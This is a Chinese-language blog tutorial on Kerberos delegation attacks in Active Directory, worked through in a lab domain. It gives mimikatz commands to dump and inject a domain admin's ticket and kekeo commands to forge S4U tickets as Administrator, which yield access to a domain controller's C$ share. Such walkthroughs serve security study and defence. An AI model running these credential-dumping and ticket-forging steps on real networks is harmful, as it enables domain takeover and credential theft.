域内委派攻击

2,006 阅读4分钟

本文已参与「新人创作礼」活动.一起开启掘金创作之路。

一、域委派

域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动。

委派主要分为非约束委派(Unconstrained delegation)和约束委派(Constrained delegation)两个方式,还有一种是基于资源的约束委派(Resource Based Constrained Delegation)。

为什么需要域委派

为什么需要域委派呢,比如现在有web服务器和文件服务器,当用户A访问web服务器去请求某个资源时,web服务器上本身并没有该资源,所以web服务器就会从文件服务器上调用这个资源,其中发生的过程若以域委派的形式进行,那么就是:用户A访问web服务器,服务器再以用户A的身份去访问文件服务器。

二、非约束委派

非约束委派(Unconstrained Delegation),服务账号可以获取某用户的TGT,从而服务账号可使用该TGT,模拟用户访问任意服务。

例如:

当user访问service时,如果service的服务账号或者主机开启了(非约束委派),则当user访问service时会将user的TGT发送给service并保存在内存中以备下次重用,然后service就可以利用这张TGT以user的身份去访问域内的任何服务(任何服务是指user能访问的服务),如果这里的user是域管理员用户,那么我们便能够得到该用户的TGT。

非约束委派的攻击方法中有两种:

1、设置主机账户为非约束委派,通过域管理账户对该主机账户进行访问,留下票据在该主机账户下,然后拿该票据去写入内存,从而可以利用域管理的TGT去访问域控。

2、设置服务账号为非约束委派,通过域管理账户对该服务进行访问,留下票据在该主机账户下,然后拿该票据去写入内存,从而可以利用域管理的TGT去访问域控。

非约束委派攻击

实验环境
域: hacker.lab
域控(win2012): 192.168.189.193
域管理员(win2012):192.168.189.196
域用户(win7): 192.168.189.194   开启了非约束委派

1、开启win7主机账号的委派属性

对win7主机账号开启了委派属性,若我们拿下win7这台机器并且有域账户,域控访问了该机器则可以进行攻击


这里我们直接在域控将域账号win7注册为服务账号

setspn -U -A 服务名称/主机名.域名 域账号
setspn -U -A abc/win7.hacker.lab win7
#删除
setspn -D abc/win7.hacker.lab win7

查看 setspn -Q / 可发现成功注册

2、开启域账户的委派属性

注册成功后可发现属性中有了委派这个属性,若没注册服务账号则没有该属性选项。

3、查询非约束委派的主机和用户

查询非约束委派的主机:
AdFind.exe -b "DC=hacker,DC=lab" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查询非约束委派的用户:
AdFind.exe -b "DC=hacker,DC=lab" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

查询非约束委派的用户:

查询非约束委派的主机:


⾮约束委派攻击利⽤

当设置了非约束性委派,需要让域控模拟访问被设置了⾮约束委派的机器。可以使用如下的方式模拟访问

1、在域管理员win2012上执行

Enter-PSSession -ComputerName win7

域管理员模拟访问被设置了约束委派的机器后,这个时候其实域管理win2012的 TGT 已经缓存在 win7机器上了

2、使用mimikatz导出凭据

以本地管理员权限运行mimikatz

先清除一下当前票据缓存:
"privilege::debug" "kerberos::purge" "exit"

3、使用 mimikatz导出所有票据出来:

privilege::debug 
sekurlsa::tickets /export

4、这个时候我们获得了域管理员win2012的 TGT !我们现在访问域控肯定是访问不了的

5、 注入票据:

6、注入票据之后我们就可以在win7上访问域控了

dir \DC\c$

三、约束委派

约束性委派(Constrained Delegation),即Kerberos的扩展协议S4U2Proxy,服务账号只能获取某用户的ST,从而只能模拟用户访问特定的服务

由于非约束委派的不安全性,引入了约束委派,对kerberos协议进行了扩展,加入S4U,其中S4U支持两个子协议:Service for User to Self ( S4U2Self )和 Service for User to Proxy ( S4U2proxy ),这两个扩展都允许服务代表用户从KDC请求票证。 S4U2self可以代表自身请求针对其自身的可转发的Kerberos服务票据(ST1) ; S4U2proxy可以以用户的名义请求其它服务的ST2 ,约束委派就是限制了S4U2proxy扩展的范围。

user访问serviceA,向DC发起kerberos认证,域控返回user的TGT和ST1票据,user使用ST1票据对serviceA进行访问;

如果配置了serviceA到serviceB的约束委派,则serviceA能使用S4U2Proxy协议将用户发给自己的可转发的ST1票据以用户的身份发给DC;DC返回serviceA一个用来访问serviceB的ST2票据,这样serviceA就能以用户的身份对serviceB发起访问。

攻击原理

由于服务用户只能获取某个用户(或主机)的服务的ST1而非TGT , 所以只能模拟用户访问特定的服务 ;但是如果能够拿到约束委派用户(或主机)的明文密码或hash,那么就可以伪造S4U的请求,伪装成服务用户以任意用户的权限申请访问指定服务的ST2。

约束委派攻击利用

实验环境

域: hacker.lab
域控(win2012): 192.168.189.193
域管理员(win2012):192.168.189.196
域用户(win7): 192.168.189.194  开启了对域管理员win2012 cifs服务的约束委派

1、这里我们在域控将域账号win7注册为服务账号

setspn -U -A 服务名称/主机名.域名 域账号
setspn -U -A abc/win7.hacker.lab win7
#删除
setspn -D abc/win7.hacker.lab win7

2、将主机win7设置为约束委派,并添加服务(cifs)

将用户win7设置为约束委派,并添加服务(cifs)

3、查询约束委派的主机和用户

查询约束委派的用户
AdFind.exe -b "DC=hacker,DC=lab" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
查询约束委派的主机
AdFind.exe -b "DC=hacker,DC=lab" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

查询约束委派的用户

查询约束委派的主机

4、使用kekeo请求服务用户的TGT:(这一步需要知晓账户的明文密码或hash)

kekeo下载地址:github.com/gentilkiwi/…

tgt::ask /user:win7 /domain:hacker.lab /password:chiza2596! /ticket:test.kirbi  #使用明文密码请求
tgt::ask /user:win7 /domain:hacker.lab /NTLM:XXXXX #使用hash请求

执行完成后得到服务用户的TGT

5、利用这个票据通过伪造S4U请求以administrator身份访问win7的ST

tgs::s4u /tgt:TGT_win7@HACKER.LAB_krbtgt~hacker.lab@HACKER.LAB.kirbi /user:Administrator@hacker.lab /service:cifs/win2012.hacker.lab

执行完成后administrator的ticket (用于访问win7的CIFS服务),将这个凭证导入访问win7的cifs服务

6、导入凭据

kerberos::ptt TGS_Administrator@hacker.lab@HACKER.LAB_cifs~win2012.hacker.lab@HACKER.LAB.kirbi

凭据导入前

导入凭据后

dir \win2012.hacker.lab\c$

总结

1、当我们查询到域内约束委派的用户时,并知晓它的明文密码或NTLM hash,才能利用工具请求它的TGT;

2、然后利用这个TGT,伪造S4U请求以administrator身份去访问这个服务账号的ST;

3、这里可以生成任意权限身份的ticket,我们是以administrator身份去访问的,所以生成的就是administrator的ticket,这个就是ST2;最后使用工具导入这个ST2,那我们就能够成功访问相应的机器;通常约束委派多数用于用户权限维持。